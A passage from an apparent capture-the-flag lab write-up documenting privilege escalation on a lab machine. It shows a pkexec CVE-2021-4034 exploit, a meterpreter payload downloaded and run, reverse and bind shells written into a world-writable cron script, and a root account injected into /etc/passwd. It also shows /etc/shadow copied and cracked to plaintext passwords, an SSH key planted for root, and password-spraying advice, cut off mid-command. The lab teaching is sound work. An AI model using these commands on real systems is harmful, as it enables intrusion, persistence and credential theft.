&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;./cve-2021-4034
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315172718751.png"&gt;&lt;/p&gt;
&lt;h5 id="method-2-kalis-built-in-msf-module-requires-existing-meterpreter-session"&gt;Method 2: Kali&amp;rsquo;s Built-in MSF Module (Requires Existing Meterpreter Session)
&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;Note for OSCP exam: use MSF with caution.&lt;/strong&gt; First establish a meterpreter session on the target:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali generates payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p linux/x86/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.168.169.130 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4444&lt;/span&gt; -f elf &amp;gt; shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali starts listener&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;use multi/handler
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; payload linux/x86/meterpreter/reverse_tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; LHOST 172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; LPORT &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Target downloads and executes (using existing SHayslett shell)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.128:8000/shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;chmod +x shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;./shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once Kali receives the session (e.g., session 1):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;use exploit/linux/local/cve_2021_4034
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; SESSION &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; LHOST 172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Drops root meterpreter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, this method failed due to network issues — the reverse shell couldn&amp;rsquo;t connect back.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Brief Technical Explanation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pkexec&lt;/code&gt; is polkit&amp;rsquo;s command-line tool with the SUID bit set. The vulnerability lies in an out-of-bounds write when processing &lt;code&gt;argv[]&lt;/code&gt;, allowing environment variables to be written as arguments. By constructing a malicious &lt;code&gt;GCONV_PATH&lt;/code&gt; environment variable to load an arbitrary shared library, root is obtained immediately upon triggering. The entire exploit requires no existing privileges — any regular user can execute it directly. It was one of the most critical local privilege escalation vulnerabilities of 2022.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315175632892.png"&gt;&lt;/p&gt;
&lt;p&gt;LinPEAS results fed to AI for analysis reveal more privilege escalation vectors — though none worked when attempted.&lt;/p&gt;
&lt;h4 id="cron-job-privilege-escalation"&gt;Cron Job Privilege Escalation
&lt;/h4&gt;&lt;p&gt;After obtaining a low-privilege shell, check the cron task schedule:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls -alh /etc/*cron*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315110241780.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/cron.d/logrotate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A suspicious task &lt;code&gt;logrotate&lt;/code&gt; was found in &lt;code&gt;/etc/cron.d&lt;/code&gt;. Checking the details:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315110604372.png"&gt;&lt;/p&gt;
&lt;p&gt;Simon has gifted us an important privilege escalation vector:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315110641949.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploitation — Writing a Reverse Shell:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Start a listener on Kali (172.168.169.128):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt -y install rlwrap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rlwrap&lt;/code&gt; allows using arrow keys to cycle through command history in nc — much better than nc alone. Write the payload to the target:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/172.168.169.128/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After waiting more than 5 minutes, found the target cannot ping Kali. Tried a &lt;strong&gt;Bind Shell&lt;/strong&gt; instead.&lt;/p&gt;
&lt;p&gt;Have the target listen, Kali connects to it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Write to target (listen on 5555)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nc -lvnp 5555 -e /bin/bash &amp;amp;&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or using mkfifo as an alternative:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Write to target:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&amp;gt;&amp;amp;1|nc -lvnp 5555 &amp;gt;/tmp/f&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After 5 minutes for cron to trigger, &lt;strong&gt;Kali connects:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc 172.168.169.129 &lt;span class="m"&gt;5555&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This also didn&amp;rsquo;t work. Testing nc directly, the shell wouldn&amp;rsquo;t connect back either — the target likely has restrictions. No problem though — a root-owned file with read/write/execute permissions for everyone opens up many possibilities.&lt;/p&gt;
&lt;p&gt;Sorted by practicality:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Read the flag directly (fastest)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cp /root/flag.txt /tmp/flag.txt &amp;amp;&amp;amp; chmod 777 /tmp/flag.txt&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cat /tmp/flag.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315121606345.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Create a root-privileged account&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Generate password hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;openssl passwd -1 hacker123
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Write to cron&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;echo &amp;#39;hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash&amp;#39; &amp;gt;&amp;gt; /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;su hacker123
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Enter password: hacker123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122124153.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Add passwordless sudo for current user&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;SHayslett ALL=(ALL) NOPASSWD:ALL&amp;#34; &amp;gt;&amp;gt; /etc/sudoers&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo su
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122234827.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. SUID bash&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;chmod u+s /bin/bash&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; bash -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315111639577.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Copy /etc/shadow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122754284.png"&gt;&lt;/p&gt;
&lt;p&gt;Only root can read shadow contents.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cp /etc/shadow /tmp/shadow.txt &amp;amp;&amp;amp; chmod 777 /tmp/shadow.txt&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cat /tmp/shadow.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then attempt offline cracking of other user passwords — though the hash length makes it seem unlikely.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122334435.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$6$&lt;/code&gt; is SHA-512crypt, hashcat mode 1800 — slow on a single GPU but rockyou has high coverage. CTF machine passwords are usually weak, so &lt;strong&gt;it&amp;rsquo;s worth trying&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Extract the hashes first:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep -v &lt;span class="s1"&gt;&amp;#39;:\*:\|:!:&amp;#39;&lt;/span&gt; /tmp/shadow.txt &lt;span class="p"&gt;|&lt;/span&gt; awk -F: &lt;span class="s1"&gt;&amp;#39;{print $1&amp;#34;:&amp;#34;$2}&amp;#39;&lt;/span&gt; &amp;gt; /tmp/to_crack.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Copy to Kali and run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# hashcat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1800&lt;/span&gt; to_crack.txt /usr/share/wordlists/rockyou.txt --username
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# or john (auto-detect format)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;sha512crypt --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt to_crack.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;john --show to_crack.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122647258.png"&gt;&lt;/p&gt;
&lt;p&gt;Well, would you look at that — a few actually cracked:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cookie (JBare)
letmein (MFrei)
qwerty (Drew)
1password (CCeaser)
password11 (SStroud)
red (jamie)
robrob (RNunemaker)
incorrect (LSolum)
passphrase (MBassin)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The full crack would take too long — stopped before completion.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122908979.png"&gt;&lt;/p&gt;
&lt;p&gt;These have limited value on this machine, but in a domain environment or more complex scenario, they can be used for password spraying. The value of this password batch:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this machine&lt;/strong&gt; — limited, since a more direct privilege escalation path (777 cron script) already exists.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Value in real-world penetration scenarios:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Password Spraying&lt;/strong&gt; — the same password set for lateral movement within the network. Weak passwords like &lt;code&gt;qwerty&lt;/code&gt;, &lt;code&gt;letmein&lt;/code&gt;, &lt;code&gt;password11&lt;/code&gt; are extremely common in enterprise environments&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password pattern analysis&lt;/strong&gt; — seeing &lt;code&gt;password11&lt;/code&gt; and &lt;code&gt;1password&lt;/code&gt; suggests the organization&amp;rsquo;s password policy requires numbers, allowing targeted wordlist construction&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential reuse&lt;/strong&gt; — it&amp;rsquo;s common for the same person to use the same password across systems; the corresponding email/VPN/OA systems can all be tested&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain environments&lt;/strong&gt; — in an AD environment, running these usernames+passwords through &lt;code&gt;crackmapexec&lt;/code&gt; or &lt;code&gt;kerbrute&lt;/code&gt; for spraying gives a high probability of lateral movement:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is why &lt;code&gt;/etc/shadow&lt;/code&gt; is always a high-value target in penetration testing — not just for the current machine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Write SSH Public Key to Root&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Check the target&amp;rsquo;s sshd configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/ssh/sshd_config &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configuration is fine — key-based login is allowed.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164006529.png"&gt;&lt;/p&gt;
&lt;p&gt;Generate a key pair on Kali:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh-keygen -t rsa -f rootkey
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat rootkey.pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164808475.png"&gt;&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t mix up the private key and public key — copy the one starting with &lt;code&gt;ssh-rsa&lt;/code&gt;. Write to cron on target:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; rootkey.pub
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Paste your public key content, press Enter then Ctrl+D to save&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; mkdir -p /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; cat /home/JKanode/rootkey.pub &amp;gt; /root/.ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; chmod 700 /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; chmod 600 /root/.ssh/authorized_keys
